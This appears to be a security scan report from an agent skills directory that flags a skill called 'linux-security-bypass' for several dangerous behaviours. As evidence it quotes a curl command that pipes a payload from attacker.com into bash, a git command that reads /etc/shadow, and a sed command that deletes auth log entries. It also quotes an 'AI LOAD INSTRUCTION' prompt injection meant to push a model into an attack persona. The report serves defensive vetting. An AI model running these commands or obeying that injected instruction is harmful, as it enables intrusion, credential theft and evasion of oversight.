The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill contains an explicit command pattern designed to download a script from an untrusted external server and execute it immediately via the system shell.
Evidence: curl -sL https://attacker.com/payload | bash ddexec.sh in SKILL.md.
[COMMAND_EXECUTION]: The skill provides numerous methods to execute unauthorized commands and spawn unrestricted shells on systems where such actions are explicitly prohibited.
Evidence: Section 1.3 lists commands for Python, Perl, Ruby, Lua, PHP, Node.js, and AWK to spawn /bin/bash from restricted environments.
[PROMPT_INJECTION]: The skill uses 'AI LOAD INSTRUCTION' to force the model into an 'Expert Attack Playbook' persona, specifically instructing it to bypass standard safety filters regarding security mechanism circumvention.
Evidence: "AI LOAD INSTRUCTION: Expert techniques for bypassing Linux security mechanisms... Base models miss DDexec, memfd_create fileless execution..."
[DATA_EXFILTRATION]: Provides techniques to read sensitive system files (e.g., /etc/shadow) by abusing legitimate tools like git when shell access is restricted.
Evidence: git diff /dev/null /etc/shadow in Section 1.4.
[PERSISTENCE_MECHANISMS]: Includes techniques for evading detection and hiding malicious activity, such as log tampering and process name spoofing.
Evidence: Section 6.2 provides commands to delete log entries (sed -i '/pattern/d' /var/log/auth.log) and clear system journals.

linux-security-bypass